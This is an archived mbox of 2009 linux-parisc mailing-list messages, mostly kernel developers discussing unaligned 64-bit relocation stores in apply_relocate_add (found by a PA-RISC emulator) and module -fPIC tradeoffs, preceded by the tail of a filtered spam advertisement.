 *  0.5 FROM_ENDS_IN_NUMS From: ends in numbers
 *  1.4 RCVD_ILLEGAL_IP Received: contains illegal IP address
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
Xref: news.gmane.org gmane.linux.ports.parisc:2074 gmane.spam.detected:4436888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2074>

Make it a stick of pleasure http://pvcjx.sightwild.com/
X-Antivirus: avast! (VPS 090825-1, 25/08/2009), Outbound message
X-Antivirus-Status: Clean

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: unaligned accesses in apply_relocate_add
Date: Wed, 26 Aug 2009 10:37:13 +0200
Organization: Stromasys SA
Lines: 42
Approved: news@gmane.org
Message-ID: <4A94F439.6010301@stromasys.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------060700050807020205030606"
X-Trace: ger.gmane.org 1251275854 11031 80.91.229.12 (26 Aug 2009 08:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2009 08:37:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 26 10:37:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MgE0U-00027V-3W
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Aug 2009 10:37:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750867AbZHZIhW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Aug 2009 04:37:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751811AbZHZIhV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Aug 2009 04:37:21 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.26]:33784 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750867AbZHZIhU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Aug 2009 04:37:20 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 25so928115eya.19
        for <linux-parisc@vger.kernel.org>; Wed, 26 Aug 2009 01:37:22 -0700 (PDT)
Original-Received: by 10.211.168.8 with SMTP id v8mr7938297ebo.19.1251275841885;
        Wed, 26 Aug 2009 01:37:21 -0700 (PDT)
Original-Received: from ?192.168.5.129? (emulators2.iae.nl [212.61.72.75])
        by mx.google.com with ESMTPS id 5sm2301116eyh.13.2009.08.26.01.37.21
        (version=SSLv3 cipher=RC4-MD5);
        Wed, 26 Aug 2009 01:37:21 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2076
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2076>

This is a multi-part message in MIME format.
--------------060700050807020205030606
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi guys,

I see unaligned access happening in apply_relocate_add. Is this normal 
expected behavior?

Kernel 2.6.26.2, single CPU (Standard Debian 5.0.2). Address 0x4011f968.

Best regards,
Artem

--------------060700050807020205030606
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------060700050807020205030606--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Wed, 26 Aug 2009 21:50:34 +0930
Lines: 20
Approved: news@gmane.org
Message-ID: <200908262150.34616.rusty@rustcorp.com.au>
References: <4A89CC4D.5040801@gmx.de> <200908251729.32855.rusty@rustcorp.com.au> <20090825192432.4D9CC411E3@magilla.sf.frob.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251289248 18857 80.91.229.12 (26 Aug 2009 12:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2009 12:20:48 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 26 14:20:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MgHUW-0002DW-Df
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Aug 2009 14:20:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932572AbZHZMUg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Aug 2009 08:20:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932577AbZHZMUg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Aug 2009 08:20:36 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:43509 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932572AbZHZMUf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Aug 2009 08:20:35 -0400
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 7E318DDD0C;
	Wed, 26 Aug 2009 22:20:36 +1000 (EST)
User-Agent: KMail/1.11.2 (Linux/2.6.28-15-generic; KDE/4.2.2; i686; ; )
In-Reply-To: <20090825192432.4D9CC411E3@magilla.sf.frob.com>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2077 gmane.linux.kernel:882430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2077>

On Wed, 26 Aug 2009 04:54:32 am Roland McGrath wrote:
> > Actually, x86 was one of the archs which fucked us.  Richard Henderson and
> > I *had* this, but ld -shared without -fPIC helpfully tells you "you're doing
> > it wrong" on x86-64.
> 
> This complaint could easily be (have been) made optional.

Yep, I even had a patch.  And meanwhile we could have lived with -fPIC modules
with some loss of performance (I think).

But at some level the problems accumulate until you go "nice idea, let's go
do something else" :)

But don't let me discourage you!
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: unaligned accesses in apply_relocate_add
Date: Wed, 26 Aug 2009 09:17:49 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20090826131749.GE19494@bombadil.infradead.org>
References: <4A94F439.6010301@stromasys.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1251292684 30438 80.91.229.12 (26 Aug 2009 13:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2009 13:18:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Artem Alimarine <artem.alimarine@stromasys.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 26 15:17:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MgINs-0001hG-F9
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Aug 2009 15:17:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756078AbZHZNRt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Aug 2009 09:17:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756368AbZHZNRt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Aug 2009 09:17:49 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41270 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756078AbZHZNRs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Aug 2009 09:17:48 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MgINp-0003Hz-Jd; Wed, 26 Aug 2009 13:17:49 +0000
Content-Disposition: inline
In-Reply-To: <4A94F439.6010301@stromasys.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2078
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2078>

On Wed, Aug 26, 2009 at 10:37:13AM +0200, Artem Alimarine wrote:
> Hi guys,
>
> I see unaligned access happening in apply_relocate_add. Is this normal  
> expected behavior?
>
> Kernel 2.6.26.2, single CPU (Standard Debian 5.0.2). Address 0x4011f968.
>

No, definitely not. relocations are applied to instructions, which
should always be instruction-width (4 bytes) aligned... Since we do
modify-replace on placeholders, it should never be using anything other
than a store-word to do it... do you have any more data on this?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Artem Alimarine <artem.alimarine@stromasys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: unaligned accesses in apply_relocate_add
Date: Wed, 26 Aug 2009 16:41:20 +0200
Organization: Stromasys SA
Lines: 118
Approved: news@gmane.org
Message-ID: <4A954990.7070007@stromasys.com>
References: <4A94F439.6010301@stromasys.com> <20090826131749.GE19494@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020705040506040408060702"
X-Trace: ger.gmane.org 1251298190 17977 80.91.229.12 (26 Aug 2009 14:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2009 14:49:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 26 16:49:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MgJok-0007kQ-59
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Aug 2009 16:49:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750979AbZHZOti (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Aug 2009 10:49:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751006AbZHZOti
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Aug 2009 10:49:38 -0400
Original-Received: from mail-ew0-f227.google.com ([209.85.219.227]:49870 "EHLO
	mail-ew0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750979AbZHZOth (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Aug 2009 10:49:37 -0400
X-Greylist: delayed 486 seconds by postgrey-1.27 at vger.kernel.org; Wed, 26 Aug 2009 10:49:36 EDT
Original-Received: by ewy27 with SMTP id 27so250268ewy.40
        for <linux-parisc@vger.kernel.org>; Wed, 26 Aug 2009 07:49:38 -0700 (PDT)
Original-Received: by 10.210.37.19 with SMTP id k19mr5460098ebk.2.1251297690543;
        Wed, 26 Aug 2009 07:41:30 -0700 (PDT)
Original-Received: from ?192.168.5.129? (emulators2.iae.nl [212.61.72.75])
        by mx.google.com with ESMTPS id 5sm498476eyh.37.2009.08.26.07.41.27
        (version=SSLv3 cipher=RC4-MD5);
        Wed, 26 Aug 2009 07:41:27 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20090826131749.GE19494@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2079
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2079>

This is a multi-part message in MIME format.
--------------020705040506040408060702
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

One point is that in the function apply_relocate_add a 4-byte aligned 
address is created:

627                dot = (Elf64_Addr)loc & ~0x03;
628                loc64 = (Elf64_Xword *)loc;

and used as a 64-bit location

711                case R_PARISC_DIR64:
712                        /* 64-bit effective address */
713                        *loc64 = val + addend;
714                        break;

So, 8-byte word is read with a 4-byte alignment.

I am busy building a parisc hardware emulator. It boots Linux, but it is 
unstable yet. There are unaligned accesses in the emulation trace. I was 
wandering whether it is normal behavior or caused by a bug in the 
emulation.

The emulation trace gives a lot of accesses like this:
0-4011f968: translate_virtual_write unaligned_trap, va=0:416a20c 
pa=1db1820c
0-4011f968: translate_virtual_write unaligned_trap, va=0:416a21c 
pa=1db1821c
0-4011f968: translate_virtual_write unaligned_trap, va=0:416a224 
pa=1db18224

They are indeed 4-byte aligned. The PC address matches 
apply_relocate_add in the kernel map.

Thanks,
Artem

Kyle McMartin wrote:
> On Wed, Aug 26, 2009 at 10:37:13AM +0200, Artem Alimarine wrote:
>  
>> Hi guys,
>>
>> I see unaligned access happening in apply_relocate_add. Is this 
>> normal  expected behavior?
>>
>> Kernel 2.6.26.2, single CPU (Standard Debian 5.0.2). Address 0x4011f968.
>>
>>     
>
> No, definitely not. relocations are applied to instructions, which
> should always be instruction-width (4 bytes) aligned... Since we do
> modify-replace on placeholders, it should never be using anything other
> than a store-word to do it... do you have any more data on this?
>
> regards, Kyle
>
>   


	
dr. Artem Alimarine <artem.alimarine@stromasys.com 
<mailto:artem.alimarine@stromasys.com>>
Software Architect
STROMASYS SA



Kyle McMartin wrote:
> On Wed, Aug 26, 2009 at 10:37:13AM +0200, Artem Alimarine wrote:
>   
>> Hi guys,
>>
>> I see unaligned access happening in apply_relocate_add. Is this normal  
>> expected behavior?
>>
>> Kernel 2.6.26.2, single CPU (Standard Debian 5.0.2). Address 0x4011f968.
>>
>>     
>
> No, definitely not. relocations are applied to instructions, which
> should always be instruction-width (4 bytes) aligned... Since we do
> modify-replace on placeholders, it should never be using anything other
> than a store-word to do it... do you have any more data on this?
>
> regards, Kyle
>
>   


--------------020705040506040408060702
Content-Type: text/x-vcard; charset=utf-8;
 name="artem_alimarine.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="artem_alimarine.vcf"

begin:vcard
fn:dr. Artem Alimarine
n:Alimarine;Artem
org:STROMASYS SA
adr:;;De Zaale 11;Eindhoven;;5612AJ;The Netherlands
email;internet:artem.alimarine@stromasys.com
title:Software Architect
tel;work:+31-40-2390863
tel;fax:+31-40-2390800
x-mozilla-html:FALSE
version:2.1
end:vcard


--------------020705040506040408060702--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: kernel segv with 2.6.31-rc6 ?
Date: Wed, 26 Aug 2009 10:54:56 -0700 (PDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090826175456.F17784050F@magilla.sf.frob.com>
References: <4A89CC4D.5040801@gmx.de>
	<200908251729.32855.rusty@rustcorp.com.au>
	<20090825192432.4D9CC411E3@magilla.sf.frob.com>
	<200908262150.34616.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251309347 25500 80.91.229.12 (26 Aug 2009 17:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2009 17:55:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 26 19:55:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MgMid-0004qc-U5
	for glpp-linux-parisc@lo.gmane.org; Wed, 26 Aug 2009 19:55:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752421AbZHZRzR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Aug 2009 13:55:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752437AbZHZRzI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Aug 2009 13:55:08 -0400
Original-Received: from mx1-old.redhat.com ([66.187.233.31]:57190 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751522AbZHZRzG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Aug 2009 13:55:06 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id n7QHt02c021649;
	Wed, 26 Aug 2009 13:55:00 -0400
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id n7QHsvPL014069;
	Wed, 26 Aug 2009 13:54:59 -0400
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id 4B134357B; Wed, 26 Aug 2009 10:54:57 -0700 (PDT)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id F17784050F; Wed, 26 Aug 2009 10:54:56 -0700 (PDT)
X-Fcc: ~/Mail/linus
In-Reply-To: Rusty Russell's message of  Wednesday, 26 August 2009 21:50:34 +0930 <200908262150.34616.rusty@rustcorp.com.au>
X-Windows: never had it, never will.
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2080 gmane.linux.kernel:882580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2080>

> But at some level the problems accumulate until you go "nice idea, let's go
> do something else" :)

Yeah, done been gone.

> But don't let me discourage you!

I've already spent too much time making ET_REL .ko DWARF parsing work to be
very motivated to do things right so all that work would never have been
necessary like I've been grumbling about the whole time. ;-)


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: unaligned accesses in apply_relocate_add
Date: Fri, 28 Aug 2009 12:42:01 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <20090828184201.GA14548@lackof.org>
References: <4A94F439.6010301@stromasys.com> <20090826131749.GE19494@bombadil.infradead.org> <4A954990.7070007@stromasys.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1251484937 26338 80.91.229.12 (28 Aug 2009 18:42:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2009 18:42:17 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Artem Alimarine <artem.alimarine@stromasys.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 20:42:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mh6Ok-0002e8-5l
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Aug 2009 20:42:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751911AbZH1SmC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2009 14:42:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752032AbZH1SmB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Aug 2009 14:42:01 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:54778 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751911AbZH1SmA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2009 14:42:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 18AE733E027F;
	Fri, 28 Aug 2009 12:42:02 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id v2UWPcgDIZIE; Fri, 28 Aug 2009 12:42:01 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 949FA33E0280; Fri, 28 Aug 2009 12:42:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4A954990.7070007@stromasys.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2081
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2081>

On Wed, Aug 26, 2009 at 04:41:20PM +0200, Artem Alimarine wrote:
> One point is that in the function apply_relocate_add a 4-byte aligned  
> address is created:
>
> 627                dot = (Elf64_Addr)loc & ~0x03;
> 628                loc64 = (Elf64_Xword *)loc;
>
> and used as a 64-bit location
>
> 711                case R_PARISC_DIR64:
> 712                        /* 64-bit effective address */
> 713                        *loc64 = val + addend;
> 714                        break;
>
> So, 8-byte word is read with a 4-byte alignment.

Perhaps this is expected to be an 8byte address pointing at a 4-byte word?
(and it's a bug that ist's not)

> I am busy building a parisc hardware emulator. It boots Linux, but it is  
> unstable yet. There are unaligned accesses in the emulation trace. I was  
> wandering whether it is normal behavior or caused by a bug in the  
> emulation.

HP has such an emulator. I've even tried to boot parisc-linux on it (failed)
~8 years ago.  Any chance someone from HP could publish it?

You might also look at Aries PA-RISC emulator (on ia64):
    http://www.princeton.edu/~rblee/ELE572Papers/PARISCtoIA64.htm

> The emulation trace gives a lot of accesses like this:
> 0-4011f968: translate_virtual_write unaligned_trap, va=0:416a20c  
> pa=1db1820c
> 0-4011f968: translate_virtual_write unaligned_trap, va=0:416a21c  
> pa=1db1821c
> 0-4011f968: translate_virtual_write unaligned_trap, va=0:416a224  
> pa=1db18224
>
> They are indeed 4-byte aligned. The PC address matches  
> apply_relocate_add in the kernel map.

*nod*

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: unaligned accesses in apply_relocate_add
Date: Fri, 28 Aug 2009 14:58:22 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090828185823.16D694E4F@hiauly1.hia.nrc.ca>
References: <20090828184201.GA14548@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251486017 29564 80.91.229.12 (28 Aug 2009 19:00:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Aug 2009 19:00:17 +0000 (UTC)
Cc: artem.alimarine@stromasys.com, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 28 21:00:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mh6gB-00081P-FX
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Aug 2009 21:00:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752406AbZH1S6Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Aug 2009 14:58:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752292AbZH1S6X
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Aug 2009 14:58:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4135 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752207AbZH1S6W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Aug 2009 14:58:22 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 16D694E4F; Fri, 28 Aug 2009 14:58:22 -0400 (EDT)
In-Reply-To: <20090828184201.GA14548@lackof.org> from "Grant Grundler" at Aug 28, 2009 12:42:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
